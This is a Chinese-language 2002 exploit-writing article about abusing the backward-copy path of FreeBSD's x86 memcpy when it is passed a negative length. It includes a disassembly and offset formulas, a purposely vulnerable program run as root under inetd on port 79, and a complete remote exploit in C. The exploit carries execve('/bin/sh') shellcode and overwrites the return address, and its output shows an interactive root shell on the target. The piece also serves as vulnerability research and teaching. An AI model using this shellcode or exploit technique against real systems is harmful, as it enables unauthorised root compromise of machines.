*bsd x86 memcpy exploit tips

/ns/hk/hacker/data/20020812033253.htm

*bsd x86 memcpy exploit tips

Author: alert7
Email: alert7@whitecell.org
Homepage:http://www.whitecell.org
Date: 2002-08-10


*bsd x86 memcpy exploit tips

by alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/ http://www.whitecell.org/
2002-6-25

--------------------------------------------------------------------
本文原贴于xfocus和whitecell的内部版
watercloud建议我可以看freebsd memcpy的源程序,一是我写这篇文章的时候,当前没有
找到memcpy的src,二是要总结出象公式一样模版的话,还是看asm的来的更确切。虽然看起来
比较累。

最后我附上了watercloud兄的一个不算疑问的疑问并且附上freebsd memcpy的src
--------------------------------------------------------------------

讨论以x86 freebsd为蓝本,其他x86的BSD如netbsd,openbsd雷同

先来看看freebsd 4.5下的memcpy的汇编代码实现

(gdb) disass memcpy
Dump of assembler code for function memcpy:
0x28163ba8 <memcpy>: push %esi
0x28163ba9 <memcpy+1>: push %edi
0x28163baa <memcpy+2>: mov 0xc(%esp,1),%edi
0x28163bae <memcpy+6>: mov 0x10(%esp,1),%esi
0x28163bb2 <memcpy+10>: mov 0x14(%esp,1),%ecx
0x28163bb6 <memcpy+14>: mov %edi,%eax
0x28163bb8 <memcpy+16>: sub %esi,%eax
0x28163bba <memcpy+18>: cmp %ecx,%eax
0x28163bbc <memcpy+20>: jb 0x28163bd4 <memcpy+44>
0x28163bbe <memcpy+22>: cld
0x28163bbf <memcpy+23>: shr $0x2,%ecx
0x28163bc2 <memcpy+26>: repz movsl %ds:(%esi),%es:(%edi)
0x28163bc4 <memcpy+28>: mov 0x14(%esp,1),%ecx
0x28163bc8 <memcpy+32>: and $0x3,%ecx
0x28163bcb <memcpy+35>: repz movsb %ds:(%esi),%es:(%edi)
0x28163bcd <memcpy+37>: mov 0xc(%esp,1),%eax
0x28163bd1 <memcpy+41>: pop %edi
0x28163bd2 <memcpy+42>: pop %esi
0x28163bd3 <memcpy+43>: ret
0x28163bd4 <memcpy+44>: add %ecx,%edi
0x28163bd6 <memcpy+46>: add %ecx,%esi
0x28163bd8 <memcpy+48>: std
0x28163bd9 <memcpy+49>: and $0x3,%ecx
0x28163bdc <memcpy+52>: dec %edi
0x28163bdd <memcpy+53>: dec %esi
0x28163bde <memcpy+54>: repz movsb %ds:(%esi),%es:(%edi)
0x28163be0 <memcpy+56>: mov 0x14(%esp,1),%ecx
0x28163be4 <memcpy+60>: shr $0x2,%ecx
0x28163be7 <memcpy+63>: sub $0x3,%esi
0x28163bea <memcpy+66>: sub $0x3,%edi
0x28163bed <memcpy+69>: repz movsl %ds:(%esi),%es:(%edi)
0x28163bef <memcpy+71>: mov 0xc(%esp,1),%eax
0x28163bf3 <memcpy+75>: pop %edi
0x28163bf4 <memcpy+76>: pop %esi
0x28163bf5 <memcpy+77>: cld
0x28163bf6 <memcpy+78>: ret
0x28163bf7 <memcpy+79>: nop
0x28163bf8 <memcpy+80>: and $0x46,%al
0x28163bfa <memcpy+82>: jb 0x28163c61 <brk+25>
0x28163bfc <memcpy+84>: gs
0x28163bfd <memcpy+85>: inc %edx
0x28163bfe <memcpy+86>: push %ebx
0x28163bff <memcpy+87>: inc %esp
0x28163c00 <memcpy+88>: cmp (%eax),%ah
0x28163c02 <memcpy+90>: jae 0x28163c76 <brk+46>
0x28163c04 <memcpy+92>: arpl %bp,(%edi)
0x28163c06 <memcpy+94>: insb (%dx),%es:(%edi)
0x28163c07 <memcpy+95>: imul $0x6362696c,0x2f(%edx),%esp
0x28163c0e <memcpy+102>: das
0x28163c0f <memcpy+103>: imul $0x732f3638,(%ebx),%esi
0x28163c15 <memcpy+109>: jns 0x28163c8a <brk+66>
0x28163c17 <memcpy+111>: das
0x28163c18 <memcpy+112>: bound %esi,0x6b(%edx)
0x28163c1b <memcpy+115>: cs
0x28163c1c <memcpy+116>: push %ebx
0x28163c1d <memcpy+117>: sub $0x76,%al
0x28163c1f <memcpy+119>: and %dh,(%ecx)
0x28163c21 <memcpy+121>: cs
0x28163c22 <memcpy+122>: aaa
0x28163c23 <memcpy+123>: and %dh,(%ecx)
0x28163c25 <memcpy+125>: cmp %edi,(%ecx)
0x28163c27 <memcpy+127>: cmp %ebp,(%edi)
0x28163c29 <memcpy+129>: xor %bh,(%eax)
0x28163c2b <memcpy+131>: das
0x28163c2c <memcpy+132>: xor (%edi),%dh
0x28163c2e <memcpy+134>: and %dh,(%edx)
0x28163c30 <memcpy+136>: xor (%edx),%edi
0x28163c32 <memcpy+138>: xor $0x38333a39,%eax
0x28163c37 <memcpy+143>: and %dh,0x65(%eax)
0x28163c3a <memcpy+146>: je 0x28163ca1 <mmap+9>
0x28163c3c <memcpy+148>: jb 0x28163c5e <brk+22>
0x28163c3e <memcpy+150>: inc %ebp
0x28163c3f <memcpy+151>: js 0x28163cb1 <mmap+25>
0x28163c41 <memcpy+153>: and %ah,(%eax,%eax,1)


memcpy(void *dst, const void *src, size_t len) ;
*bsd系统特性
假如(dst - src)<len的话(有符号数比较),则表明des和src是重叠的,则执行反向拷贝
以下是该重叠情况下执行的关键代码:
0x28163bd4 <memcpy+44>: add %ecx,%edi
0x28163bd6 <memcpy+46>: add %ecx,%esi
0x28163bd8 <memcpy+48>: std
0x28163bd9 <memcpy+49>: and $0x3,%ecx
0x28163bdc <memcpy+52>: dec %edi
0x28163bdd <memcpy+53>: dec %esi
0x28163bde <memcpy+54>: repz movsb %ds:(%esi),%es:(%edi)//这里把ecx变成( ecx>>((ecx&3)*8)),使要拷贝的长度变小
//本身运行ecx&3次
这里相当于memcpy( (edi+ecx)-(ecx&3)-1,(esi+ecx)-(ecx&3)-1 ,ecx&3 )

0x28163be0 <memcpy+56>: mov 0x14(%esp,1),%ecx
0x28163be4 <memcpy+60>: shr $0x2,%ecx
0x28163be7 <memcpy+63>: sub $0x3,%esi
0x28163bea <memcpy+66>: sub $0x3,%edi
0x28163bed <memcpy+69>: repz movsl %ds:(%esi),%es:(%edi)
movebites = (ecx&3)*8;
这里相当于memcpy( (edi+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4,(esi+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4, ( ((ecx<<movebites)>>movebites )>>2)*4 )

0x28163bef <memcpy+71>: mov 0xc(%esp,1),%eax
0x28163bf3 <memcpy+75>: pop %edi
0x28163bf4 <memcpy+76>: pop %esi
0x28163bf5 <memcpy+77>: cld
0x28163bf6 <memcpy+78>: ret


#define DISTANCE 12
该值在特定版本的*bsd memcpy实现是固定的。
是memcpy的参数len存放地址和memcpy返回地址存放地址距离之差。

从上面看到:
(edi+ecx)-1是要开始覆盖的地址,覆盖的字节数为ecx&3

1 假如ecx&3为1,(edi+ecx)-1需要覆盖len最后一位。接下来最大的拷贝为0xffffff可能会dump掉。
1-ecx = (DEST - RETLOC ) -DISTANCE - 3
可算出ecx,还要看是否满足ecx&3 ?= 1

2 假如ecx&3为2,(edi+ecx)-1需要覆盖len最后两位。接下来最大的拷贝为0xffff,应该不会dump了。
1-ecx = (DEST - RETLOC ) -DISTANCE - 3
可算出ecx,还要看是否满足ecx&3 ?= 2

3 假如ecx&3为2,(edi+ecx)-1需要覆盖len最后一位和后面一位。接下来最大的拷贝为0xffff,应该不会dump了。
1-ecx = (DEST - RETLOC ) -DISTANCE-4
可算出ecx,还要看是否满足ecx&3 ?= 2

4 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后三位。接下来最大的拷贝为0xff。
1-ecx =(DEST - RETLOC ) -DISTANCE-3
可算出ecx,还要看是否满足ecx&3 ?= 3

5 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后两位。接下来最大的拷贝为0xffff。应该不会dump了。
1-ecx =(DEST - RETLOC ) -DISTANCE-4
可算出ecx,还要看是否满足ecx&3 ?= 3

6 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后一位。接下来最大的拷贝为0xffffff。可能会dump掉。
1-ecx =(DEST - RETLOC ) -DISTANCE-5
可算出ecx,还要看是否满足ecx&3 ?= 3

对于给定的DEST,RETLOC,DISTANCE三个值的时候,ECX也有可能都无解。

CASE取值如下:
switch (上列情况之){
1:
2:
4: CASE=3;break;
3:
5: CASE =4;break;
6: CASE =5;break;
}

memcpy len参数地址为:
(edi+ecx)-1-CASE也就是RETLOC+DISTANCE
所以,我们如果需要重新修改memcpy len参数大小的话,那么就应该在
esi+ecx -1, esi+ecx-2 ,esi+ecx-3这几个地址安排适当的值,以使参数len变小。
以确保进程不DUMP掉。
所以应该在SRC +ecx-1,SRC+ecx -2,SRC+ecx-3这三个地址安排适当的值,一般安排为\0.


确定了memcpy参数len地址为(edi+ecx)-1-CASE
那么memcpy RETLOC地址为(edi+ecx)-1-CASE - DISTANCE
所以应该在SRC+ecx -1 -CASE - DISTANCE的地址安排一个值,作为EIP返回。


好了,现在已经分析的差不多了
在*BSD系列上
memcpy(void *dst, const void *src, size_t len)
当len传入是负数的话,所执行的相当于如下操作
memcpy( dst+ecx-1-(ecx&3),src+ecx-1-(ecx&3) ,ecx&3 );覆盖len参数的某几个字节
movebites = (ecx&3)*8;
这里相当于memcpy( (dst+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4,(src+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4, ( ((ecx<<movebites)>>movebites )>>2)*4 )


好了,探讨分析就到这里吧
下面看个实例吧

/*
* vul.c
* *bsd memcpy bug demo write by alert7 on freebsd 4.3
* 2002.6.25
*/
#define BUFSIZE 1024
int main(int argc,char ** argv)
{
char buf[BUFSIZE];
char buf1[BUFSIZE];
char buf2[BUFSIZE];
int i;

i=read(0,buf1,BUFSIZE);
i=read(0,buf2,BUFSIZE);
buf2[i]=0;
i = atoi(buf2);

memcpy(buf2-1,buf,i);
exit(0);
}

bash-2.05a# gcc -o vul vul.c -g -ggdb
把该程序安装在79 port
bash-2.05a# cat /etc/inetd.conf |grep finger
finger stream tcp nowait root /root/vul vul



/* exp.c exploit for vul.c
* *bsd memcpy bug demo write by alert7 on freebsd 4.3
* 2002.6.25
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>

#define DEST 0xbfbff043//0xbfbfeee9
#define SRC 0xbfbff844//0xbfbff6e8
#define DISTANCE 12
#define RETLOC (0xbfbff010+8)//(0xbfbfeeb4+8)

/*对于特定系统下的的特性程序,DEST,SRC,RETLOC之间的关系是一定的,只要知道其中一个,就可以知道其他的*/

char shell[]=
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

#define BUFSIZE 1024
#define NOP 'A'
#define EXPLOIT_TIMEOUT 5

int main(int argc,char **argv)
{
char buff[BUFSIZE];
char ecxbuf[10];
int i,ECX;
int OK=0,CASE=0;
int sock;
struct sockaddr_in sin;
int portp = 79;
unsigned int retaddr;
int i1,i2,i3;


ECX = 1-( (DEST - RETLOC ) -DISTANCE-3);
if ((ECX & 3)==3) OK =4;
if ((ECX & 3)==2) OK =2;
if ((ECX & 3)==1) OK =1;

if (OK==0)
{

ECX = 1-( (DEST - RETLOC ) -DISTANCE-4);
if ((ECX & 3)==3) OK =5;
if ((ECX & 3)==2) OK =3;
}

if (OK==0)
{

ECX = 1-( (DEST - RETLOC ) -DISTANCE-5);
if ((ECX & 3)==3) OK =6;
}

switch (OK) {
case 1:
case 2:
case 4:
CASE = 3;
break;
case 3:
case 5:
CASE = 4;
break;
case 6:
CASE = 5;
break;
default:
break;
}

printf("ECX %p DEST %p SRC %p RETLOC %p\nDISTANCE %p CASE %d OK %d\n",ECX,DEST,SRC,RETLOC,DISTANCE,CASE,OK);

i1=SRC;
i2=DEST;
i3=ECX;


if ( (i2 - i1) > i3)
OK =0;

if (OK ==0)
{
printf("该exploit不能利用这种情况\n如果您知道,请跟我联系< email:alert7@xfocus.org >\n");
exit(0);
}
if (argc!=2) {
printf("usage:%s ip\n",argv[0]);
exit(0);
}

sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(portp);


if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
perror("connect()");
exit(1);
}
printf("connected!\n");
memset(buff,NOP,BUFSIZE);
memcpy(buff+BUFSIZE/2,shell,sizeof(shell) );
sprintf(ecxbuf,"%d",ECX);
/*SRC+ecx -1 -CASE-DISTANCE
*安装EIP
*/
retaddr = SRC-(0xbfbfeb38-0xbfbfe738);
printf("use retaddr %p\n",retaddr);
*(int *)&buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 1-CASE-DISTANCE]=retaddr;
/*
(gdb) p &buf
$1 = (char (*)[1024]) 0xbfbfeb38
(gdb) p &buf1
$2 = (char (*)[1024]) 0xbfbfe738
(gdb) p &buf2
$3 = (char (*)[1024]) 0xbfbfe338
*/
/*
*安装\0
*/
buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 1]=0;
buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 2]=0;
buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 3]=0;


write(sock,buff,BUFSIZE);
sleep(1);
write(sock,ecxbuf,strlen(ecxbuf)+1);

sleep(2);
write(sock, "uname -a;id\n", strlen("uname -a;id\n"));
while (1) {
fd_set fds;
int n;
struct timeval tv;
char buf[1024];

tv.tv_sec = EXPLOIT_TIMEOUT;
tv.tv_usec = 0;

FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);

memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
break;

write(1, buf, n);
}

if(FD_ISSET(0, &fds)) {
if((n = read(0, buf, sizeof(buf) - 1)) < 0)
exit(1);

write(sock, buf, n);
}
}//end select
}//end while

}


$ ./exp.exe 192.168.168.124
ECX 0xffffffe5 DEST 0xbfbff043 SRC 0xbfbff844 RETLOC 0xbfbff018
DISTANCE 0xc CASE 3 OK 1
connected!
use retaddr 0xbfbff444
FreeBSD vm-free.alert7.com 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Thu Jul 19 0
8:16:38 CST 2001 root@vm-free.alert7.com:/usr/src/sys/compile/alert7 i386
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator),20(staff), 31(guest)

OK,成功了~

----------------------------------------------
附:
BSD的memcpy我觉得体系上并没有问题,只是其为了实现快速拷贝
引入的对齐和为了处理目标覆盖源而引入的反向拷贝有时可
能会被攻击一些软件自身漏洞时利用,如那个Apache 。

主要的一个是register定义的变量编译时没有被优化到寄存器中!奇怪!

个人的愚见!
----- watercloud


附memcpy源程序 From FreeBSD4.5
/*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Chris Torek.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/

#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)bcopy.c 8.1 (Berkeley) 6/4/93";
#endif /* LIBC_SCCS and not lint */
#ifndef lint
static const char rcsid[] =
"$FreeBSD: src/lib/libc/string/bcopy.c,v 1.1.1.1.14.1 2001/07/09 23:30:03 obrien Exp $";
#endif

#include <sys/cdefs.h>
#include <string.h>

/*
* sizeof(word) MUST BE A POWER OF TWO
* SO THAT wmask BELOW IS ALL ONES
*/
typedef int word; /* "word" used for optimal copy speed */

#define wsize sizeof(word)
#define wmask (wsize - 1)

/*
* Copy a block of memory, handling overlap.
* This is the routine that actually implements
* (the portable versions of) bcopy, memcpy, and memmove.
*/
#ifdef MEMCOPY
void *
memcpy(dst0, src0, length)
#else
#ifdef MEMMOVE
void *
memmove(dst0, src0, length)
#else
void
bcopy(src0, dst0, length)
#endif
#endif
void *dst0;
const void *src0;
register size_t length;
{
register char *dst = dst0;
register const char *src = src0;
register size_t t;

if (length == 0 || dst == src) /* nothing to do */
goto done;

/*
* Macros: loop-t-times; and loop-t-times, t>0
*/
#define TLOOP(s) if (t) TLOOP1(s)
#define TLOOP1(s) do { s; } while (--t)

if ((unsigned long)dst < (unsigned long)src) {
/*
* Copy forward.
*/
t = (int)src; /* only need low bits */
if ((t | (int)dst) & wmask) {
/*
* Try to align operands. This cannot be done
* unless the low bits match.
*/
if ((t ^ (int)dst) & wmask || length < wsize)
t = length;
else
t = wsize - (t & wmask);
length -= t;
TLOOP1(*dst++ = *src++);
}
/*
* Copy whole words, then mop up any trailing bytes.
*/
t = length / wsize;
TLOOP(*(word *)dst = *(word *)src; src += wsize; dst += wsize);
t = length & wmask;
TLOOP(*dst++ = *src++);
} else {
/*
* Copy backwards. Otherwise essentially the same.
* Alignment works as before, except that it takes
* (t&wmask) bytes to align, not wsize-(t&wmask).
*/
src += length;
dst += length;
t = (int)src;
if ((t | (int)dst) & wmask) {
if ((t ^ (int)dst) & wmask || length <= wsize)
t = length;
else
t &= wmask;
length -= t;
TLOOP1(*--dst = *--src);
}
t = length / wsize;
TLOOP(src -= wsize; dst -= wsize; *(word *)dst = *(word *)src);
t = length & wmask;
TLOOP(*--dst = *--src);
}
done:
#if defined(MEMCOPY) || defined(MEMMOVE)
return (dst0);
#else
return;
#endif
}